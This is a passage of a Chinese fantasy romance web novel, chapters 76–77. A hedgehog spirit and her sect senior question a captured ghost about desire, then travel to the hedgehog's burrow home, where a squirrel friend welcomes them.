她瞥向透明瓶,黑雾一动不动地。 云榆蠕动着唇,不知该如何解释,她搅动手指,僵硬地编造理由:“我已经学了剑法,掌法,身法,再加个幻术,贪多嚼不烂,到时再落下其她术法,得不偿失。” 裴依宁顿了下:“也好,你既不想,那就不练了。” 云榆扯扯唇角。 “不过这鬼珠和灵珠是定要炼化的。”裴依宁不见小妖回复,多喊了几遍对方的名姓,“云榆,云榆?” 还是不见答,她提指落下。 额头突然被敲下,云榆身体不自由主地颤动,她迷惘地捂住被敲的地方。 裴依宁好以整暇地:“在想什么?喊你好几声都没有回应。” 云榆咽了下,视线不受控制地落到裴依宁的唇上,似被灼烧般,快速收回,移向别地:“在想,师姐在幻境中看见的,会是什么?” 裴依宁念动起,透明瓶飞至掌心:“这鬼物与你说了什么?” 云榆摇摇头:“没有,我没有打开瓶塞。” 鬼物被禁锢在瓶中,她听不见对方的声音,况且担心自己一人压制不住鬼物,自是不可能将瓶塞打开。 鬼物在被禁锢在瓶内时,曾说过的一句话被勾起。 那时她只想学习幻术,没有多思。 如今想来,师姐比她晚出来,鬼物又是被师姐遇上的,是不是说明,师姐在幻境内经历的事情比她多。 师姐回来了,有师姐在,不用担心鬼物逃脱,她后知后觉地想知道鬼物那时想说的话是什么。 裴依宁:“没……” 只吐出一个字音,唇抚上几根柔软的指,裴依宁不得已停声:“云榆?” 亲吻的触感尤在,云榆呢喃道:“我在幻境中看见的那人,是师姐。” “是不是代表……我对师姐有欲念?” 作者有话说: 第76章 七十六章[VIP] “是不是说明, 我对师姐心存欲念。”云榆迟疑地呢喃。 可她对师姐的欲念是什么?她不知道,也找不到答案。 云榆无措地望着面前姿容昳丽的人,妄图师姐能像指导她修炼那般,告诉她答案。 可面前的女人只是拿下她的手, 两根手指虚虚地搭在她的掌心, 一如既往地:“嗯?” 云榆眉心越皱越紧,她捂住心口, 细细感知内里的跳动和所谓的欲念, 可几次三番下来,都未曾明了地寻得那方欲念的存在地。 她问:“师姐, 幻境会出错吗?譬如,并非一定由欲念编织成, 亲密熟稔的人也会出现其中?” 裴依宁心底叹息,不着痕迹地往后靠去,指腹点在瓶塞上,一拔。 团缩其中的黑雾只觉空气焕然一新,两颗正常大小的眼珠往上一翻, 光亮感十足。 求生的本能让它忽略异样, 一门心思地穿过瓶口, 直奔打开着的窗户而去。 雾气的首端刚要与木窗来个亲密接触, 无形的吸引力牵住它的后端, 往回拉。 黑雾奋力挣扎, 撼动不了吸引力半分。 它被拉回到透明瓶上方。 逃出生天的惊喜和要再度被拉回深渊的恐惧让它的两只眼珠在雾气中横冲直撞:“求求你们,放了我, 我立刻离开此地, 再也不来这座城池……” 裴依宁淡淡出声:“安静。” 黑雾静下声,漆黑的眼珠竟能看出藏着的几分恐惧。 云榆不知道师姐是何意。 裴依宁:“我们问你答, 明白了吗?” 黑雾像模像样地上下起伏:“明白,明白。” 裴依宁坐下,偏头对云榆略一点头:“幻境由它而制,有什么问题,尽可以问它。” 这小妖的话更能决定自己的生死,黑雾保命地漂浮到云榆前,但由于那股无时不在的吸引力,它并不能和云榆靠得太近。 它极尽谄媚:“大人,您有什么想问的,我一定知无不言,言无不尽,只求问完,能饶我一命。” 它的鬼珠被取,鬼力大不如前。对两人恨意不少,可现今性命攸关,这点恨意远不如留存性命来得强烈。 云榆抿唇,将方才说的话又说了遍。 鬼物见自身幻境被质疑,颇有几分昂首挺胸的意味:“绝无可能,若是无欲无念,幻境中不会出现。”它不得不承认,“我虽是低阶鬼物,但我在幻境上的造诣,可不低。” 那群散修中,不乏修为比它高的,不还是沦陷在它的幻境中,被它轻而易举地得手了:“出现的,皆是你欲念的具象化。” 话落,她顿了顿,眼珠子转向裴依宁,很快又躲藏地转回来,声音中的谄媚之意更深:“大人,还有什么要问的吗?” 云榆半垂着头,鬼物信誓旦旦的话语回荡在脑海。 出现的,皆是欲念的具象化。 她的推测被轻飘飘地击碎。 她吐出一口气:“师姐的幻境是何?” 黑雾一愣,不敢立刻回答,消无声息地转向裴依宁。 它的命就在对方的一念之间,说与不说,应该说什么,不该说什么,它都要听从这人的。 哪里还有半分初次被扔入瓶中前的垂死挣扎。 云榆:“我问你,你看师姐做什么?” 黑雾还是不说话。 裴依宁:“说就是,我在幻境中,看见了什么,直说即可。” 在幻境中看见了什么,而不是做了什么。 黑雾算是个精怪,一听便明白了。它转回云榆的方向,避开它化作对方模样挑逗裴依宁的事:“她的幻境中,有一只小刺猬,还有你。” 云榆诧异:“小刺猬,我?” 小刺猬是她。 师姐在幻境中遇见的都是她。 师姐的欲念也是她。 那么,这份欲念究竟是什么,云榆将黑雾牵扯下,张嘴却发现不知道该如何开口。 她眉心拧紧,片刻后,问:“什么是欲念?” 黑雾理所当然地回复:“当然是您想得到的人或者物。” 云榆:“原来如此。” 她想得到师姐,师姐也想得到她。 这就是她和师姐的欲念。可她和师姐已然是最亲密的关系,又何来的得到与否。 她不禁想到了那个吻,她想要加深,继而继续行进的吻。 黑雾被拽回到瓶中,刺耳的吵声随着瓶塞盖上的刹那寂静。 裴依宁随手丢过瓶子:“还有什么疑惑吗?” 云榆缓而慢地摇头:“暂时没有了。” 裴依宁道:“过来。” 云榆走过去,裴依宁拍拍腿,前者自觉坐上去。 她的下巴被捏住,裴依宁抬起她的脸,护着她的后脑,五官靠近,极快极轻地在她唇上落下蜻蜓点水。 裴依宁说:“这是欲念。” 她轻轻拥住云榆:“这也是欲念。” 她额头靠在云榆的肩头,温声细语:“欲念是,想和你在一起,只是看着就看开心。它是一种感觉,也是某种行为。但主体目标只有一个。” 她不给云榆过大的压力,现在就已经很好了,慢慢来,一步步来。 由她亲手领着,教着,还有什么比这,更让人喜悦和满足的。 裴依宁满足地喟叹声:“星星,懂了吗?” 云榆僵硬着身体坐在裴依宁腿上,断裂的神经连接在一起,细密的电流顺着尾椎骨一路向上,她好似明白了许多。 指骨紧紧绷着,细小的青紫色筋脉突出,她狠狠闭上眼,咬着唇,眼底的混乱逐渐被清明取代。 所以,她和师姐的关系,是不是像原师姐和风师姐那样,凌驾于更为亲密的关系。 一层浅浅的膜横在两人之间,只需要轻轻一戳,这层薄膜便能被点破。 云榆无意识地抠动,虎口处被掐出几个深浅不一的月牙形。 她徘徊在薄膜外,从喉咙深处挤出几个字:“懂了。”延续不下这个问题,云榆错开目光,“师姐,这黑雾如何处置,要放了吗?” 她的回避和转移过于明显,裴依宁弯唇:“带回宗内,交由执法堂那边的人处理就好。” 至于后续,全凭执法堂处置。 云榆“嗯”了声,趴伏在裴依宁身上。 温存没能持续多久,突然间,巨大的声响炸裂开,大开的窗户外,数道不同属性的灵力凌空而起,不待云榆有所反应,客栈猛烈地晃动起来。 噼里叭啦声不绝于耳。 房内的东西倒的倒,摔碎的摔碎。 云榆被裴依宁抱在怀中,幸免于难。 但外层的气流争前恐后地从窗中扑到房内,发丝乱发,糊了视线。 云榆抹把脸,扶着裴依宁下身:“那人又回来了吗?” 她欲要去窗边查看,被裴依宁一把拉回:“别过去。” 她在客栈前设置的阵法受到攻击后被强制启动,外面的人短时间内想来是无法打破的。 房门被敲响,云榆抽出灵剑,步步逼近。 “两位,可还安好。”客栈老板关切的声音传来,“城主已带人赶往这里,二位莫要惊慌。” 这句话属实有些多余。 游心带人来又能如何,这座城池若真有实力高强者,何至于因为一团黑雾成为一座空城。 外面的动静停息,当是无法破坏阵法,加之行踪暴露而撤走。 裴依宁到窗边,天际有几分尾巴。 是离开了。 这些人的实力比之遇见的那位雷属性蒙面者实力低许多,按理来说,在明知她实力的前提下,不可能再派出这些修为低下的人前来。 是为了转移她的注意力,还是这两波人并非一伙的。 思索间,游心带人赶到。 裴依宁撤下阵法,那张隐匿在空中的符咒燃烧成灰。 她关了窗,扭头,云榆正与赶到的游心交谈。 话过几圈,游心抱拳:“二位有恩于本城,我身为本城城主,定要护两位安危。” 她让客栈老板留了间她们隔壁的房间,带着守卫进入其中。 等她们离开后,裴依宁和云榆出了客栈,四面八方残留着这些人留下的灵力气息。 “看来是冲着我们来的,换个地方炼化鬼珠与灵珠。” 这次出来,怎惹得这么多人,裴依宁素来鲜少露面人前,今日遇见主动对她出手的人,比过往几年都多:“星星?” 云榆面色阴沉地望着地上被灵力轰成碎片的石子,眼底翻滚着不明的情绪。 那股死亡的压迫如潮水般袭来。 又是那些人。 残留的灵力气息她太过熟悉了,数年不见,还是那些。 裴依宁沉默片刻,敏锐地发觉云榆情绪不对,是从未有过的戾气。 方才来的这批人,莫不是云榆认识。 她揽住云榆,并未过多询问来者的身份:“要不要离开这里?” 云榆喉咙酸涩,充斥的燥意被女人简单一句话安抚,她放纵地靠在裴依宁身上,歪头倒去:“可以吗?” 裴依宁:“当然可以,想去哪,师姐陪你一同。” 云榆咬住舌尖,神经发麻发酸,她压着颤乱的声线,轻咳两声:“想回家里。” 不是宗门,是她自幼生活的地方,是她离开许久的,存续最多记忆的地方。 嗓子被淤泥填堵,胸腔鼓动:“师姐,我想回去一趟。” 裴依宁揉揉她的发顶:“那我们现在出发。” 离开前,裴依宁上楼与游心告辞。对于她们的离去,游心有心挽留几日,可到底比不过她们离去的坚决。 云榆御剑而行,操控着灵剑飞行。 她对于方位灵敏度不够,是裴依宁先用了张传送符,将两人传送回宗门,再由云榆根据记忆中来的方向,折返回去。 云榆:“师姐会不会觉得我笨?还需要先回宗门,才能确定家的方向。” 裴依宁:“不会,把我丢到陌生的地方,让我再去另一个地方,不借用任何东西的辨别方向的情况下,我也会迷路。” 云榆好奇:“师姐迷路过吗?” 裴依宁失笑:“幼时迷路过。” 那时她们几人被宗主丢到一处历练数月。数月对于闭关并不算长,可对于几个只有几岁的孩童来说,未免有些为难了。 前两个月,她们几人还能老老实实地,可到了后几个月,疲乏感上来,几人不约而同地打算偷溜回宗门。 但宗主许是料到她们的孩童心性,将人带去那处时,蒙上了她们的感知。 可这怎么能挡住对回宗门的渴望,几人一商量,估计宗门的方式,一路跋山涉水,结果跑向了反方向。 还是宗主根据种在她们身上的灵息找到了几人。 云榆压在心底的巨石因着裴依宁的几句话短暂散开:“师姐以前这般鲜活顽皮吗?” 不好好历练,还想着偷溜回宗门,这种事若是出自别人口,云榆定是要怀疑真实性,但裴依宁亲口而言,只剩下趣意。 自揭囧事,裴依宁选择拉着当时与她一同的人一起下水:“想知道当初与我一同的人是谁吗?” 云榆心痒痒地:“莫不是杜师姐?” 裴依宁摇头,扶了把云榆:“注意御剑,”待到灵剑稳定,她继续道,“杜师妹与我们差着一定年岁,她入宗不过数十年。” 云榆摇摆:“我认识吗?” 裴依宁不藏着,直白告诉她:“原师姐,浅念,还有一位是宗主的亲传弟子,你那日在灵丹堂的宴请上应当见过。” 云榆脑海中浮现出一抹清冷的形象,当时杜师姐在宴请结束后,就跑去找那人,说是要去要点符纸。 但只是原师姐和风师姐,她就想象不出两人逃避历练的样子。 这与她们表露在外的一面差别过大了。 裴师姐的反差也过大了。 云榆道:“的确没想到。” 黄昏起,橙黄色铺在她们身上,落霞浸染,一只墨色飞鸟从他们前方飞过,渐行渐远至穿越霞光。 裴依宁自后拥上云榆,昏黄的静谧景象,无疑更能勾起人的回忆:“回去后,原师姐因是年岁最大的,又是我们的师姐,没能起到表率的作用,反倒带着我们乱跑,被宗主罚了几日禁闭,我们三个则是被罚抄宗门禁令。” 云榆感概:“原师姐好惨,你们都好惨。” 眼前幻视几位师姐被罚的场景,一个个跟个小奶团子似的抄写宗门律法,说不定还会叛逆地丢下笔,抱怨几句。 想着想着,云榆突然发现,裴师姐的这一幕她竟然能想象出来。 她悄悄回眸,照着裴依宁如今的面容,想象裴师姐幼时是什么样的。 她不觉勾起笑。 裴依宁察觉到她的眼神,又瞧见她唇边的弧度:“是不是在心底嘲笑师姐呢?” 云榆举起双手:“我没有。”她向来实诚,想着什么,就说什么,“师姐小时候是不是很可爱。” 剑体因主人思绪飞扬,左□□斜,裴依宁不时调整,以确保不会落得剑毁人亡的下场。 裴依宁想着说:“这倒是,幼时与宗门其她师姐妹常来常往。” 现在宗门内很多新入的师妹,大多眼生。 她想起一件事,道:“记得十七八岁的时候,出宗办事,还有位女子给我递了封书信。” 灵剑悬空,不再向前。 云榆唇边的笑容收敛,归结为近乎平行的线:“什么信?” 裴依宁:“不知道,我并未接下。” 云榆阴阳怪气的天赋向来无师自通:“几十年过去,师姐还记得这般清楚,想来是不一般的。” 裴依宁心思本就细腻,如何听不出这话的潜意识,坦坦荡荡:“的确印象深刻,那女子被拒绝后,并未多言,送上祝福后便离去了。” 灵剑再度而行,云榆体察到那句话的不对劲,可说出的话,泼出的水,更改不掉。 于是乎,某只小妖特意的刺猬属性展露出来:“你跟我说这些做什么?我又不好奇。” 她真心实意地:“她值得你记那般久,听上去是个很温柔很善良的人。” 那股子酸意弥漫,但不影响她对那人的赞扬。 一连飞行了两三个时辰,天色被墨泼过,白点落入其中,形成一颗颗明暗变化的星空。 在看见棵高耸入云的树木时,云榆御剑的乏困飞走,她激动地拍拍身后人的腰侧:“师姐,我们到了。” 居高临下,四通八达的横沟分割出棋盘的样式,不知是心情本就不错,还是这里的景色感染了情绪。 裴依宁由衷地:“很美好的地方。” 云榆骄傲地仰起头:“那是,也不看看是谁的地盘。” 她控制着灵剑缓缓下降,敛去气息,于夜色中回到家乡。 许久没回,可踏上这片土地时,那股熟悉感扑面而来。 走过十数步,云榆自豪地介绍:“这里的风景是最好的,每每到了夏秋季节,往前行数里,能看见许多庄稼。她们都从这里引水灌溉。” 说着说着,云榆静下声,她指着的一方横沟,只底部存续着一层浑浊的泥水。 哪里还有记忆中的清澈见底。 云榆噤声片刻:“季节原因,上游没有开闸放水。” 她复又带着裴依宁行进:“再往前,就是我家了,到时可以邀请师姐去我家……不行。”她话音一转,“不能带师姐回家。” 她跑过两步,比划裴依宁的高度,越比划越摇头:“不行,进不去。” 小刺猬的家小小一点空间,哪里容得下人的进去。 云榆惋惜:“可惜了。” 裴依宁掐个指诀:“应该可以进,星星先变回本体。” 云榆不明所以,也想看看裴依宁到底有什么本领,蹲下身,一只小刺猬出现在枯黄的地面。 灵力覆盖全身,裴依宁捻了粒丹药含入。就在小刺猬疑惑间,裴依宁的身形以肉眼可见的速度变小。 直到变得与小刺猬差不多高。 小刺猬圆滚滚的眼珠子睁大:“师姐还能变大变小?” 不过这样的师姐看着有些单薄,还有些可爱,总感觉一爪子就能把师姐当成小土豆,拍入地底。 裴依宁:“这样可能参观星星的家。” 小刺猬一个劲地点头:“可以的。” 一想到等会要做的事,小刺猬忍不住咧嘴笑,她三两步窜到缩小的裴依宁身前,趴下身。 裴依宁眼皮狠狠一跳,看过小刺猬脊背上的刺,尽量说得委婉:“星星是要让我趴在你身上吗?” 那些刺,有些不合适。 小刺猬:“非也。” 她头从地上埋起,只不过是忍不住笑,为了避免师姐觉得自己犯傻,她特意扑下头笑。 笑够了,小刺猬伸出一只爪子,在小版裴依宁头顶晃动几下,而后,在裴依宁略有不解的眼神下,爪子勾起女人后颈的衣服,向上一提。 裴依宁:“……” 小刺猬终是哈哈大笑起来:“笨蛋裴依宁,让你总是拎我。” 她被裴依宁拎起时,不是没幻想过把裴依宁也这般拎起,刺猬形的她做不到,人形的她更是做不到。 不想今日某人直接送上门来,她可不得好好体验下。 裴依宁:“……” 所以,小刺猬方才抖动不已,是在忍笑。 存着这种念头的小刺猬。 裴依宁无可奈何,倒也纵容对方的行为。她配合地挣扎两下,引得小刺猬更加开心了。 小刺猬洋洋得意:“下次还敢不敢那样对我。” 裴依宁:“……” 小刺猬体验过,小心翼翼地将女人放下,脸颊凑上去,蹭蹭小版裴依宁的脸颊。 裴依宁被刺了下,叹息声,抱住小刺猬的小肚子:“满意了吗?” 小刺猬兴高采烈:“满意了。” 一小人,一刺猬在月下行走。 速度慢了许多,在熟悉的地方,小刺猬话也变多了:“许久没回来,不知道家里怎么样。” 长久不住的小家,不知道有没有被水流或是泥水填满。 小刺猬絮絮叨叨:“不知道松鼠姐姐有没有搬家,回来也没给她带点吃的。松鼠姐姐可照顾我了,时常接济我……” 裴依宁不时接两句小刺猬的话,更多时候,则是扮演一位优秀的倾听者。 慢慢地,话越说越远,小刺猬道:“今天的那些人,目标应该是我。在几年前他们就攻击过我。那是姐姐走后的第二年,我侥幸躲过几次,但有一次还是被他们抓住了。” 小刺猬陷入悠久的回忆:“但那次,幸运也不幸运。我躺在山林间,被人救下。也是因为她们,我才会进入明越宗。” 她认真地说:“我才能和师姐遇上。” 这件事裴依宁从原以诗口中听闻过,当时难道不是因为妖兽之争,才导致小刺猬受伤的? 裴依宁按下欲问的念头:“原是这样。” 小刺猬叹息:“当时,打斗声吸引了一头野兽,以至于那野兽白白送了命。” “那些人,我其实先前都不曾见过,他们上来就对我喊打喊杀。”小刺猬步履沉重,“以至于我后来很少出远门。” 说到这,裴依宁环顾四周,举目四望,都是平原,连山的影子都没有。 当时,原以诗和宗主分明是在山脉中遇到的小刺猬。 所以,小刺猬当时是出远门被那群人攻击的。 小刺猬道:“我也不知道那群人今天是怎么找到我的……” 看样子小刺猬知道的不多,无意让小刺猬沉浸在不好的情绪中,裴依宁引开话题:“星星的家好神秘,还没到吗?” 小刺猬道:“快了快了,就在前面。” 她小爪子不规矩地按住裴依宁的后脚跟,前爪在前面伸着,准备随时接住摔倒的人。 可裴依宁只是往前探过,并没有如她所愿地跌入她的爪子上。 裴依宁:“星星。” 小刺猬一下不成,道歉很快:“本星星不是故意的,师姐大人有大量,一定不会与本星星计较的吧。” 裴依宁:“……” 就在这时,一个爪子猛地落在肩头,小刺猬踉跄地往前跌了两下。 裴依宁想去拉,没能拉住。 一只松鼠窜出:“星星,你从哪骗了个这么小的人回来。” 作者有话说: 第77章 第七十七章[VIP] 毛色光亮的松鼠尾巴一卷, 小刺猬迷迷糊糊地被软物覆盖,她一张嘴,飞扬的绒毛钻入口腔,她两只爪子扒拉几下。膨起的发坍塌部分。 松鼠将小刺猬抓回, 小刺猬终于看清突然出现的动物, 扬起脑袋喘息两声:“松鼠姐姐。” 她拍拍松鼠尾巴:“快把我放下来。” 小版的裴依宁往旁侧挪动两步,不太想被卷起来。 但松鼠的目光已经盯上了她, 许是第一次见到这么小的人, 她疑惑地将小刺猬丢回到小人身边,又问:“星星, 你从哪找到的这么小的人,看着怪可爱的。” 小版的裴依宁像是个精致的玩偶, 松鼠跃跃欲试地抬起爪子。 裴依宁暗道不好,躲避的心因这松鼠是星星的朋友,硬着头皮没有躲开。 “哎,松鼠姐姐,”小刺猬急忙出声, 挣脱出柔软的尾巴, 几个蹿动爬上松鼠的手臂, “她是我师姐, 万不能无礼。” 闻声, 松鼠果真停下爪子, 面色更加疑惑:“你拜入的什么宗门,小人宗吗?这般小的人, 我还是头次见。”她想到什么, 严肃地拉近小刺猬,背过身, 小小声地问,“她该不会哪里有问题吧,这么小,你可别被骗了。” 小刺猬捂额,将事情原委说了遍:“就是这样了,我家太小,她若是不变小,今晚住哪?” 松鼠依旧觉得神奇,嘀嘀咕咕地:“还能变大变小,头次见这种神通,不过……”她扭头,眼神猛地怔住。 小刺猬跟着扭头:“怎么了……师姐?” 裴依宁身形变回原样,昳丽的五官在月色的衬托下,越发清冷,淡雅的冷调扑洒在她周身,无形中,加剧那股疏离不容靠近的气质。 但偏偏女人唇边漾着一抹弧度,打破冷凝的气场,显得亲近许多。 松鼠默默地转过头:“的确很有神通。”说完,她转过身,“你好。” 裴依宁蹲下身,在她眼前重新变回小版:“你好,裴依宁,是星星的……”她停半秒,“师姐。” 松鼠尾巴晃动:“叫我松松就好。” 松鼠说完,提起小刺猬往背上一丢,随即尾巴铺到地上,“裴裴,上来,我送你和星星过去。” 裴裴,星星,松松。 这里的妖很喜欢用叠词。 裴依宁认命地爬上松鼠的尾巴,软物瞬间将她包裹,她谨慎地爬到松鼠背上,学着小刺猬的模样,攥住松鼠的毛发。 小刺猬咧嘴一笑:“她就是我提到的,很照顾我的松鼠姐姐。师姐趴牢点,松鼠姐姐跑得很快,不抓稳,会被颠下去的。” 未来的半柱香时间,裴依宁感受到了小刺猬口中的颠簸。 松鼠不走寻常路,每每看见树,就会蹦跳着跑上去,在一根根交织缠的枝桠中穿梭,颠得裴依宁不得不抓紧。 到了一棵树下,松鼠身体往前一俯,小刺猬顺着形成的弯形滑下。 裴依宁从松鼠身上跳下,那股颠簸感散去的感觉好上许多。 松鼠捋捋脸上的毛:“到了。” 她扒拉到树根出堆积的落叶,扫去尘土,挑开摆放整齐的树枝,露出个约莫半径十几公分的洞。 洞口黑漆漆的,向里面蜿蜒。 松鼠拍拍爪子,有些累得靠在树干处:“星星,欢迎回家。” 本想邀请松鼠一同入内叙旧,却被松鼠拜拜爪子拒绝了:“你刚回来,好好休息。明日再叙。” 她临走前看向裴依宁,爪子无意识地挠在地上,又回向小刺猬:“我先走了。” 目送小松鼠爬上树干离去,小刺猬将洞口的树枝往旁边推推:“师姐,你且在这等我,我去看看里面能否立刻睡。” 毕竟许久没回来了,里面太脏,吓到师姐就不好了。而且,这里是自己的家,初次带师姐回家,有种郑重感。 她可不想让师姐觉得她是个不讲卫生的脏刺猬。 一颗小小的珠子掉入洞内,小范围地照亮,小刺猬紧随其后跳入洞中,托举起那颗珠子,在弯曲复杂的甬道内行走。 走了会,眼前豁然开朗,甬道宽度扩展,一道比小刺猬高不了多少,由一棵树木切割成,拼在一起,用特质的黏剂粘住形成的门出现。 新木变旧木,表面同样涂上那样特殊的黏剂,犹如一道保护屏障,使得门并未被腐朽许多。 小刺猬一只爪上按在门上,莫名紧张起来,她闭上眼,爪子用力。 没有预想中扑面而来的霉味和脏污气息。 她睁眼。 里面看着空空荡荡,却也干干净净,剩下的几样东西,小刺猬爪子一摸。 本该因久无妖住而落满一层灰才对。 可小刺猬的爪子也是干干净净的。 是有妖时常为她打扫。 不用猜便知,是松鼠姐姐。 裴依宁立在洞口边,借由月光,一只小刺猬的身形依稀出现。 小刺猬四肢并用地爬上到洞口上,拍拍上下带起的尘土,她念头动,灵剑自灵海内飞出。 缩成与她们差不多大小的灵剑缓缓下降,小刺猬跳上去,踩着灵剑下降到与洞口齐平的高度,爪子拉住小版裴依宁的袖子,带上剑。 小刺猬:“等明日,我修一条阶梯出来。” 妖族没那么讲究,爬上爬下就进来或出去了,但师姐不一样,不能像小动物四肢并用地爬来爬去,太不美观了。 飞行扩展的甬道口,一小人,一小妖从下剑,就着走了十数步,小刺猬快速跑了几步守在门边:“师姐,本星星邀请你到我家住,开不开心?” 裴依宁:“很开心。” 被小刺猬带回家,赋予的意义远超于其它。 她期待着。 小刺猬推开门,陪着自行发出的音效:“星星开门。” 那颗灵珠变大许多,柔和的光晕平等地点亮小刺猬的家。 小刺猬:“走的时候,以为不会回来住了,把很多东西送给了附近的姐姐们。” 放眼望去,零星的几样东西整齐地摆放着,一张不大的床横在边角,几根支撑这方小屋不倒的长木立在那。 开凿出的墙洞内没了东西的存放。 当真是空空如也。 小刺猬道:“师姐,我空间储物内有被褥之类的,”她尴尬地停住,“但那些东西太大了,不能拿出来……” 恐怕刚拽出一个角,就能填满这里。 小刺猬:“师姐,你能不能将被褥变小?” 裴依宁走到床边,手指在床板上擦过,两指揉捏:“不能,我只能调整自己的身形,外物,许是不行的。” 小刺猬喃喃:“这样啊,那今晚怎么睡。” 修行之人,一夜的睡与不睡影响不大,但这里是自己的地盘,头一次带师姐来,怎可一味地让师姐迁就。 况且,数个时辰的御剑飞行,属实是有些疲乏的。 她思来想去,不如去松鼠姐姐那借一床被褥。 小刺猬行动很快地要往外跑:“师姐,你在这等我会,我出去一趟。” 裴依宁拉住她的小爪子:“嗯?” 小刺猬:“借床被褥,我很快回来。” 裴依宁:“不用。” 小刺猬:“啊?” 裴依宁:“天色已晚,松松许是睡了,再去打扰不好。我看这里很干净,睡床板也可。” 小刺猬:“这怎么行。” 床板那么硬,小刺猬烦躁地缩起爪子,放回肚子上,爪下的柔软和温热让她灵光一闪。 小刺猬腼腆地晃动几下腰身,摸摸后脑勺,不太好意思地扭捏数次:“其实还有个方法。” 见她这般羞涩,裴依宁起了微末的好奇:“嗯?” 小刺猬眼神躲闪,找不到下落的点:“就是……师姐可以睡我身上。”她下肢踢踢踏踏地,“我睡觉老实,不会乱动,师姐可以放心。” 睡觉老实,这四个字怎么都跟小刺猬匹配不了,犹记得几次同床而眠时,要么钻她身边,要么睡姿千奇百怪。 但,睡她身上是什么意思。 裴依宁用眼神询问。 小刺猬的耳尖肉眼可见的染上其它颜色,踢踏地频率更高,头低得越发狠:“师姐可以睡在我肚子上。” 后面几个字声音轻到几乎听不见。 裴依宁微微一愣:“可以吗?” 问问问,她都那么说了,还问她“可以吗”,小刺猬的脸皮薄薄的,这个笨蛋裴依宁。 某只小刺猬的本性脾气上来,头一甩,双爪环抱:“本星星让你睡,你就睡。哪里来得那么多问题。还是说,你就是想说硬邦邦的床板。” 她的肚子那么软,可不是想睡就能睡到的。 裴依宁低眉顺目:“睡的,星星。” 小刺猬傲气一哼:“这还差不多。本星星累了,要睡觉了。” 她抱着双臂,歪着头,气昂昂地往前走,竖起耳朵听身后的脚步声有没有跟上。 没听见脚步声,小刺猬扭头,不料差点与后面的人撞上。 小刺猬:“你走路怎么没声。” 裴依宁低头:“我的错。” 小刺猬:“……笨蛋裴依宁。” 使了个净身术,小刺猬将自己收拾干净,呈现大字型躺在床板上,一副认命的模样:“来吧。” 裴依宁:“……” 裴依宁将身形再度缩小了些许,踩着小刺猬腰间的刺,一点点往上爬。 小刺猬嫌她太慢,爪子借把力给她,一举托到肚子上:“慢吞吞的。” 某只小妖妄图以这种方式掩饰杂乱的内心。 小版的裴依宁并不重,如今缩得更小一只,小刺猬忍不住泛起疼惜之情,她身体往回缩缩,两侧的毛发拢起,脸颊烫烫的。 肚子上,人的存在感过于强烈了。 小刺猬:“师姐,晚安。” 裴依宁:“晚安。” 小刺猬的肚子果真如她形容的那般,柔软,加之有层毛发铺垫,这层使得这层柔软更甚。 手臂下是毛绒绒的触感,脊背也是,脑袋下更是。她稍一偏头,就是软物。 裴依宁平和的心跳动着,一下下地撞击胸膛。她双手交叠放到小腹处,并不觉得困。 这间小屋在树根下,除了那扇门,没有旁的出去的口子。 自是看不见外面的夜景。 小刺猬担心她受冻,两只爪子靠着她的腰身放。 小刺猬还没睡。 裴依宁有多熟悉小刺猬,仅凭呼吸就能知晓。 小刺猬的心跳过于快了,让人更睡不着觉。 小刺猬也如她这般,紧张得睡不着吗? 显然是她多想了,几息之后,小刺猬的心跳声渐渐弱下来,本该放在她腰侧的爪子搭在她身上。 很好的盖住她。 她闭眼酝酿睡意。 睡梦中,头顶被重物压住,脸也无法幸免于难,被一起压上,呼吸有些上不了了。 裴依宁迷迷糊糊地别过头,胸腹部落下一只爪。 裴依宁终于被折腾醒。 小刺猬四肢抱住她,以护东西的姿态将她紧紧抱住。 很温暖的怀抱。 持续在清醒的状态下保持同个姿势,总是容易身体发麻。 裴依宁缓而慢地抬手臂。 一只爪子在她腹部按了按。 小刺猬下肢无意识地蹬了两下。裴依宁不动了。 二次闭眼酝酿睡意。 谁知刚闭眼没多久,一股失重感袭来。 是小刺猬翻动身体,睡在她肚子上的人自然而然地从她身上滑落。 裴依宁有所防备地支起一抹灵力,连眼都没有睁开。 小刺猬睡姿,一直不老实。 过了不久,小刺猬忽而又转身一次。 这次直接趴着睡了。 被压在小刺猬身下的人,不得不睁开眼:“……” 在洞内不知如今几时,裴依宁一觉睡醒,发现小刺猬从侧身睡变成了平躺睡,两只爪子老老实实地圈着她。 这个时候倒是老实了。 不对,小刺猬是醒了,呼吸比睡着的时候轻了许多。 裴依宁:“星星?” 小刺猬:“师姐醒了。”意识到昨晚睡姿不太好,她问,“昨晚睡得好吗?” 裴依宁道:“还行,星星睡得好吗?” 小刺猬:“嗯……” 她暗下决心,今日定要去找松鼠姐姐行一床被褥。醒来时,师姐都快从她身上掉下去了,若是不小心再被她的刺扎到。 这么小点点的师姐,怕是要受重伤。 小刺猬低低地叹息声。 恰在此刻,木门被敲响。 是松鼠过来了。 裴依宁从小刺猬肚子上下来,看着小刺猬手忙脚乱地去开门,玩味地坐在床板上,支撑着下巴。 松鼠抱着几颗大松果,斜着头露出半边脑袋:“猜想这个点,你们应该醒了,给你们送点吃的过来。” 小刺猬急忙替松鼠分担:“怎么拿这么多过来。” 马上就是冬天了,这些都是松鼠姐姐留着过冬的。 小刺猬道:“松鼠姐姐,我和师姐乃是修炼之人,吃与不吃都没关系。” 松鼠掸掸面前的碎屑,瞥她眼:“小小一只,还不吃,真的长不大了。” 小刺猬被训得没脾气,余光见到裴依宁过来:“师姐。” 松鼠:“裴裴。” 裴依宁:“麻烦你了,松松。” 松鼠摆摆手:“举手之劳,不麻烦。” 小刺猬想到什么,眼睛一亮,拉住裴依宁的臂弯:“松鼠姐姐,师姐手艺超好的,等会我去抓两条鱼,中午让师姐给我们做好吃的。” 裴依宁应下:“松松可以尝尝我的手艺。” 与松鼠说了被褥的事,小松鼠做事效率极快,来回一趟就抱过来一床被褥,贴心询问够不够。 小刺猬连连应声“够”。 做完这些,两妖一人从洞内钻出,小刺猬尽职尽责地跑去抓鱼。 松鼠和裴依宁留在原地等待。 裴依宁恢复到正常大小,不拘泥地坐在草地上,凝视小刺猬离开的方向。 小松鼠突然:“星星在宗门内交到新朋友了吗?” 裴依宁收回目光:“宗门师姐妹都是她的朋友。” 小松鼠抱着尾巴,认真地捋毛发:“裴裴是她最好的朋友吧。她对你很亲近。” 裴依宁“嗯”了声,拿不定小松鼠话中的意味。 小松鼠继续说:“星星以前被欺负过,可以的话,裴裴不要欺负她,骗她。她心思单纯,认定的朋友,总是会下很多感情。” 小松鼠曾见过小刺猬被那只可恶的兔子欺负的有多惨。 